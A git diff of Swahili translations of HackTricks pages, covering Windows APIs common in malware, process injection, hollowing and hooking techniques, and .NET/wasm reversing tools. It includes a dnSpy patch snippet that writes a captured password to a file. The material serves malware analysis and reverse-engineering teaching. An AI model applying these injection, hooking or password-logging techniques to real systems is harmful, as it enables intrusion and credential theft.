||||||
|
|
||||||
Kwa mfano wa hili angalia kiungo cha marejeo.
|
Kwa mfano wa hili angalia kiungo cha marejeo.
|
||||||
|
|
||||||
|
@ -102,14 +110,20 @@ Kwa mfano wa hili angalia kiungo cha marejeo.
|
||||||
|
|
||||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# API za Kawaida Zinazotumiwa katika Programu hasidi
|
# API Kwa Kawaida Hutumiwa katika Programu Hasidi
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -8,12 +8,20 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Kijumla
|
## Kijumla
|
||||||
|
|
||||||
### Mtandao
|
### Mtandao
|
||||||
|
@ -32,7 +40,7 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
### Uthabiti
|
### Uthabiti
|
||||||
|
|
||||||
| Usajili | Faili | Huduma |
|
| Usajili | Faili | Huduma |
|
||||||
| ------------------ | ------------- | ---------------------------- |
|
| ------------------- | ------------- | ---------------------------- |
|
||||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||||
|
@ -50,25 +58,25 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
| CryptDecrypt() |
|
| CryptDecrypt() |
|
||||||
| CryptReleaseContext() |
|
| CryptReleaseContext() |
|
||||||
|
|
||||||
### Kuzuia Uchambuzi/VM
|
### Kupinga Uchambuzi/VM
|
||||||
|
|
||||||
| Jina la Kazi | Maelekezo ya Utoaji wa Kusanyiko |
|
| Jina la Kazi | Maelekezo ya Mkusanyiko |
|
||||||
| -------------------------------------------------------- | --------------------------------- |
|
| -------------------------------------------------------- | ----------------------- |
|
||||||
| IsDebuggerPresent() | CPUID() |
|
| IsDebuggerPresent() | CPUID() |
|
||||||
| GetSystemInfo() | IN() |
|
| GetSystemInfo() | IN() |
|
||||||
| GlobalMemoryStatusEx() | |
|
| GlobalMemoryStatusEx() | |
|
||||||
| GetVersion() | |
|
| GetVersion() | |
|
||||||
| CreateToolhelp32Snapshot \[Angalia ikiwa mchakato unafanya kazi] | |
|
| CreateToolhelp32Snapshot \[Angalia ikiwa mchakato unakimbia] | |
|
||||||
| CreateFileW/A \[Angalia ikiwa faili ipo] | |
|
| CreateFileW/A \[Angalia ikiwa faili ipo] | |
|
||||||
|
|
||||||
### Ufichaji
|
### Ufichaji
|
||||||
|
|
||||||
| Jina | |
|
| Jina | |
|
||||||
| ------------------------ | -------------------------------------------------------------------------- |
|
| ------------------------ | -------------------------------------------------------------------------- |
|
||||||
| VirtualAlloc | Alokisha kumbukumbu (pakiti) |
|
| VirtualAlloc | Alloc kumbukumbu (pakiti) |
|
||||||
| VirtualProtect | Badilisha ruhusa ya kumbukumbu (pakiti inayotoa ruhusa ya utekelezaji kwa sehemu) |
|
| VirtualProtect | Badilisha ruhusa ya kumbukumbu (pakiti inayotoa ruhusa ya utekelezaji kwa sehemu) |
|
||||||
| ReadProcessMemory | Uingizaji katika michakato ya nje |
|
| ReadProcessMemory | Uingizaji kwenye michakato ya nje |
|
||||||
| WriteProcessMemoryA/W | Uingizaji katika michakato ya nje |
|
| WriteProcessMemoryA/W | Uingizaji kwenye michakato ya nje |
|
||||||
| NtWriteVirtualMemory | |
|
| NtWriteVirtualMemory | |
|
||||||
| CreateRemoteThread | Uingizaji wa DLL/Mchakato... |
|
| CreateRemoteThread | Uingizaji wa DLL/Mchakato... |
|
||||||
| NtUnmapViewOfSection | |
|
| NtUnmapViewOfSection | |
|
||||||
|
@ -92,13 +100,13 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* GetForeGroundWindow -- Pata jina la dirisha linaloendesha (au tovuti kutoka kwa kivinjari)
|
* GetForeGroundWindow -- Pata jina la dirisha linaloendesha (au tovuti kutoka kwa kivinjari)
|
||||||
* LoadLibrary() -- Ingiza maktaba
|
* LoadLibrary() -- Ingiza maktaba
|
||||||
* GetProcAddress() -- Ingiza maktaba
|
* GetProcAddress() -- Ingiza maktaba
|
||||||
* CreateToolhelp32Snapshot() -- Orodhesha michakato inayoendesha
|
* CreateToolhelp32Snapshot() -- Orodhesha michakato inayokimbia
|
||||||
* GetDC() -- Piga skrini
|
* GetDC() -- Piga skrini
|
||||||
* BitBlt() -- Piga skrini
|
* BitBlt() -- Piga skrini
|
||||||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Fikia Mtandao
|
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Fikia Mtandao
|
||||||
* FindResource(), LoadResource(), LockResource() -- Fikia rasilimali za kutekelezeka
|
* FindResource(), LoadResource(), LockResource() -- Fikia rasilimali za kutekelezeka
|
||||||
|
|
||||||
## Mbinu za Programu hasidi
|
## Mbinu za Programu Hasidi
|
||||||
|
|
||||||
### Uingizaji wa DLL
|
### Uingizaji wa DLL
|
||||||
|
|
||||||
|
@ -111,7 +119,7 @@ Tekeleza DLL isiyojulikana ndani ya mchakato mwingine
|
||||||
|
|
||||||
Vipengele vingine vya kutumia: NTCreateThreadEx, RtlCreateUserThread
|
Vipengele vingine vya kutumia: NTCreateThreadEx, RtlCreateUserThread
|
||||||
|
|
||||||
### Uingizaji wa DLL wa Kielekezi
|
### Uingizaji wa DLL wa Kufikiria
|
||||||
|
|
||||||
Pakia DLL hasidi bila kuita simu za kawaida za API za Windows.\
|
Pakia DLL hasidi bila kuita simu za kawaida za API za Windows.\
|
||||||
DLL inaorodheshwa ndani ya mchakato, itatatua anwani za uingizaji, kurekebisha mahali na kuita kazi ya DllMain.
|
DLL inaorodheshwa ndani ya mchakato, itatatua anwani za uingizaji, kurekebisha mahali na kuita kazi ya DllMain.
|
||||||
|
@ -132,7 +140,7 @@ Uingizaji wa Utekelezaji wa Portable: Programu itaandikwa kwenye kumbukumbu ya m
|
||||||
|
|
||||||
### Ufyonzaji wa Mchakato
|
### Ufyonzaji wa Mchakato
|
||||||
|
|
||||||
Programu hasidi itafuta kanuni halali kutoka kumbukumbu ya mchakato na kupakia faili hasidi
|
Programu hasidi itafuta msimbo halali kutoka kumbukumbu ya mchakato na kupakia faili hasidi
|
||||||
|
|
||||||
1. Unda mchakato mpya: CreateProcess
|
1. Unda mchakato mpya: CreateProcess
|
||||||
2. Futa kumbukumbu: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
2. Futa kumbukumbu: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||||
|
@ -142,11 +150,11 @@ Programu hasidi itafuta kanuni halali kutoka kumbukumbu ya mchakato na kupakia f
|
||||||
## Kufunga
|
## Kufunga
|
||||||
|
|
||||||
* **SSDT** (**System Service Descriptor Table**) inaelekeza kwa kazi za msingi za kernel (ntoskrnl.exe) au dereva wa GUI (win32k.sys) ili michakato ya mtumiaji iweze kuita kazi hizi.
|
* **SSDT** (**System Service Descriptor Table**) inaelekeza kwa kazi za msingi za kernel (ntoskrnl.exe) au dereva wa GUI (win32k.sys) ili michakato ya mtumiaji iweze kuita kazi hizi.
|
||||||
* Rootkit inaweza kubadilisha pointer hizi kuwa anwani anazodhibiti
|
* Rootkit inaweza kubadilisha pointer hizi kuwa anwani ambazo anadhibiti
|
||||||
* **IRP** (**I/O Request Packets**) hupitisha vipande vya data kutoka kwa sehemu moja hadi nyingine. Karibu kila kitu katika kernel hutumia IRPs na kila kifaa kina kichupo chake cha kazi ambacho kinaweza kufungwa: DKOM (Udanganyifu wa Moja kwa Moja wa Vitu vya Kernel)
|
* **IRP** (**I/O Request Packets**) hupitisha vipande vya data kutoka kwa sehemu moja hadi nyingine. Karibu kila kitu katika kernel hutumia IRPs na kila kifaa kina kichupo chake cha kazi ambacho kinaweza kufungwa: DKOM (Udanganyifu wa Moja kwa Moja wa Vitu vya Kernel)
|
||||||
* **IAT** (**Import Address Table**) ni muhimu kwa kutatua mahitaji. Inawezekana kufunga kichupo hiki ili kuteka kificho kitakachoitwa.
|
* **IAT** (**Import Address Table**) ni muhimu kwa kutatua mahitaji. Inawezekana kufunga kichupo hiki ili kuteka kificho kitakachoitwa.
|
||||||
* **EAT** (**Export Address Table**) Kufunga. Kufunga hizi zinaweza kufanywa kutoka kwa **userland**. Lengo ni kufunga kazi zilizoagizwa na DLLs.
|
* **EAT** (**Export Address Table**) Kufunga. Kufunga hii inaweza kufanywa kutoka kwa **userland**. lengo ni kufunga kazi zilizoagizwa na DLLs.
|
||||||
* **Inline Hooks**: Aina hii ni ngumu kufikia. Hii inahusisha kubadilisha kificho cha kazi yenyewe. Labda kwa kuweka kuruka mwanzoni mwa hii.
|
* **Kufunga ya Ndani**: Aina hii ni ngumu kufikia. Hii inahusisha kubadilisha msimbo wa kazi yenyewe. Labda kwa kuweka kuruka mwanzoni mwa hii.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -156,8 +164,8 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Zana za Kugeuza na Mbinu za Msingi
|
# Zana za Kugeuza & Mbinu za Msingi
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,18 +14,26 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Zana za Kugeuza Zilizotegemea ImGui
|
## Zana za Kugeuza Zilizotegemea ImGui
|
||||||
|
|
||||||
Programu:
|
Programu:
|
||||||
|
|
||||||
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||||
|
|
||||||
## Msambazaji wa Wasm / Msambazaji wa Wat
|
## Msaidizi wa Kugeuza Wasm / Kompilisha Wat
|
||||||
|
|
||||||
Mtandaoni:
|
Mtandaoni:
|
||||||
|
|
||||||
* Tumia [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kwa **kugeuza** kutoka kwa wasm (binary) hadi wat (maandishi wazi)
|
* Tumia [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kwa **kugeuza** kutoka wasm (binary) hadi wat (maandishi wazi)
|
||||||
* Tumia [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kwa **kusambaza** kutoka kwa wat hadi wasm
|
* Tumia [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kwa **kukompilisha** kutoka wat hadi wasm
|
||||||
* unaweza pia kujaribu kutumia [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kwa kugeuza
|
* unaweza pia kujaribu kutumia [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kwa kugeuza
|
||||||
|
|
||||||
Programu:
|
Programu:
|
||||||
|
@ -33,33 +41,33 @@ Programu:
|
||||||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||||
|
|
||||||
## Msambazaji wa .NET
|
## Msaidizi wa Kugeuza .NET
|
||||||
|
|
||||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||||
|
|
||||||
dotPeek ni msambazaji ambao **hugawanya na kuchunguza muundo wa multiple**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu za kutekelezwa** (.exe). Mara baada ya kugawanywa, mkusanyiko unaweza kuokolewa kama mradi wa Visual Studio (.csproj).
|
dotPeek ni msaidizi wa kugeuza ambao **hufanya kugeuza na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu za kutekelezwa** (.exe). Mara baada ya kugeuzwa, mkusanyiko unaweza kuokolewa kama mradi wa Visual Studio (.csproj).
|
||||||
|
|
||||||
Faida hapa ni kwamba ikiwa msimbo uliopotea unahitaji kurejeshwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi ya hayo, dotPeek hutoa urambazaji wa manufaa kote kwenye msimbo uliogawanywa, ikifanya iwe moja ya zana kamili kwa **uchambuzi wa algorithm wa Xamarin.**
|
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurejeshwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi ya hayo, dotPeek hutoa urambazaji wa manufaa kote kwenye msimbo uliogeuzwa, ikifanya kuwa moja ya zana kamili kwa **uchambuzi wa algorithm za Xamarin.**
|
||||||
|
|
||||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||||
|
|
||||||
Kwa mfano wa kuongeza wa kina na API inayozidisha zana kulingana na mahitaji yako halisi, .NET reflector hupunguza muda na kufanya maendeleo kuwa rahisi. Hebu tuangalie huduma nyingi za uhandisi wa nyuma ambazo zana hii hutoa:
|
Kwa mfano wa kuongeza kina na API ambayo inapanua zana ili kufaa mahitaji yako halisi, .NET reflector hupunguza muda na kufanya maendeleo kuwa rahisi. Hebu tuangalie huduma nyingi za uhandisi wa kurudi ambazo zana hii hutoa:
|
||||||
|
|
||||||
* Hutoa ufahamu jinsi data inavyopita kupitia maktaba au sehemu
|
* Hutoa ufahamu jinsi data inavyopita kupitia maktaba au sehemu
|
||||||
* Hutoa ufahamu wa utekelezaji na matumizi ya lugha na fremu za .NET
|
* Hutoa ufahamu wa utekelezaji na matumizi ya lugha na fremu za .NET
|
||||||
* Hupata utendaji usioelezwa na usiofunuliwa ili upate zaidi kutoka kwa APIs na teknolojia zilizotumiwa.
|
* Hupata utendaji usioelezwa na usiofunuliwa ili kupata zaidi kutoka kwa APIs na teknolojia zilizotumiwa.
|
||||||
* Hupata tegemezi na makusanyo tofauti
|
* Hupata tegemezi na makusanyo tofauti
|
||||||
* Inagundua mahali sahihi ya makosa katika msimbo wako, vipengele vya tatu, na maktaba.
|
* Inagundua mahali sahihi ya makosa katika msimbo wako, vipengele vya mtu wa tatu, na maktaba.
|
||||||
* Inafuatilia chanzo cha msimbo wote wa .NET unavyofanya kazi.
|
* Hufanya uchunguzi wa kina wa chanzo cha msimbo wote wa .NET unaoendelea.
|
||||||
|
|
||||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||||
|
|
||||||
[ILSpy plugin kwa Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo kwenye OS yoyote (unaweza kuweka moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza **Extensions** na **tafuta ILSpy**).\
|
[ILSpy plugin kwa Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo kwenye OS yoyote (unaweza kuweka moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza **Extensions** na **tafuta ILSpy**).\
|
||||||
Ikiwa unahitaji **kugeuza**, **kurekebisha** na **kusambaza** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linalosimamiwa kwa sasa, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza Kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
|
Ikiwa unahitaji **kugeuza**, **kurekebisha** na **kukompilisha** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linalosimamiwa kikamilifu la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza Kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
|
||||||
|
|
||||||
### Uchakataji wa DNSpy
|
### Uchakataji wa DNSpy
|
||||||
|
|
||||||
Ili kufanya **DNSpy iweke rekodi fulani katika faili**, unaweza kutumia kificho hiki:
|
Ili kufanya **DNSpy iwekeze baadhi ya habari kwenye faili**, unaweza kutumia kificho hiki:
|
||||||
```cs
|
```cs
|
||||||
using System.IO;
|
using System.IO;
|
||||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||||
|
@ -67,9 +75,9 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
||||||
```
|
```
|
||||||
### Kurekebisha DNSpy
|
### Kurekebisha DNSpy
|
||||||
|
|
||||||
Ili kurekebisha namna ya kutumia DNSpy unahitaji:
|
Ili kurekebisha nambari kwa kutumia DNSpy unahitaji:
|
||||||
|
|
||||||
Kwanza, badilisha **Vipengele vya Utoaji** vinavyohusiana na **urekebishaji**:
|
Kwanza, badilisha **Vipengele vya Mkusanyiko** vinavyohusiana na **urekebishaji**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (278).png>)
|
![](<../../.gitbook/assets/image (278).png>)
|
||||||
```aspnet
|
```aspnet
|
||||||
|
@ -92,29 +100,29 @@ Kisha hifadhi faili mpya kupitia _**File >> Save module...**_:
|
||||||
|
|
||||||
Hii ni muhimu kwa sababu ikiwa hutafanya hivyo, wakati wa **runtime** maboresho kadhaa yatafanywa kwenye nambari na inaweza kuwa kwamba wakati wa kutatua hitilafu **break-point is never hit** au baadhi ya **variables don't exist**.
|
Hii ni muhimu kwa sababu ikiwa hutafanya hivyo, wakati wa **runtime** maboresho kadhaa yatafanywa kwenye nambari na inaweza kuwa kwamba wakati wa kutatua hitilafu **break-point is never hit** au baadhi ya **variables don't exist**.
|
||||||
|
|
||||||
Kisha, ikiwa programu yako ya .NET inaendeshwa na **IIS** unaweza kuirekebisha kwa:
|
Kisha, ikiwa programu yako ya .NET inaendeshwa na **IIS** unaweza ku**restart** kwa:
|
||||||
```
|
```
|
||||||
iisreset /noforce
|
iisreset /noforce
|
||||||
```
|
```
|
||||||
Kisha, ili kuanza kudebugi unapaswa kufunga faili zote zilizofunguliwa na ndani ya **Tab ya Debug** chagua **Attach to Process...**:
|
Kisha, ili kuanza kudebugi unapaswa kufunga faili zote zilizofunguliwa na ndani ya **Tab ya Kudebugi** chagua **Ambatanisha kwa Mchakato...**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (280).png>)
|
![](<../../.gitbook/assets/image (280).png>)
|
||||||
|
|
||||||
Kisha chagua **w3wp.exe** kujiunga na **seva ya IIS** na bonyeza **attach**:
|
Kisha chagua **w3wp.exe** kuambatisha kwenye **seva ya IIS** na bonyeza **ambatanisha**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (281).png>)
|
![](<../../.gitbook/assets/image (281).png>)
|
||||||
|
|
||||||
Sasa tukiwa tunadebugi mchakato, ni wakati wa kuusimamisha na kupakia moduli zote. Kwanza bonyeza _Debug >> Break All_ kisha bonyeza _**Debug >> Windows >> Modules**_:
|
Sasa tukiwa tunadebugi mchakato, ni wakati wa kuusimamisha na kupakia moduli zote. Kwanza bonyeza _Kudebugi >> Simamisha Yote_ kisha bonyeza _**Kudebugi >> Windows >> Moduli**_:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (286).png>)
|
![](<../../.gitbook/assets/image (286).png>)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (283).png>)
|
![](<../../.gitbook/assets/image (283).png>)
|
||||||
|
|
||||||
Bonyeza moduli yoyote kwenye **Modules** na chagua **Open All Modules**:
|
Bonyeza moduli yoyote kwenye **Moduli** na chagua **Fungua Moduli Zote**:
|
||||||
|
|
||||||
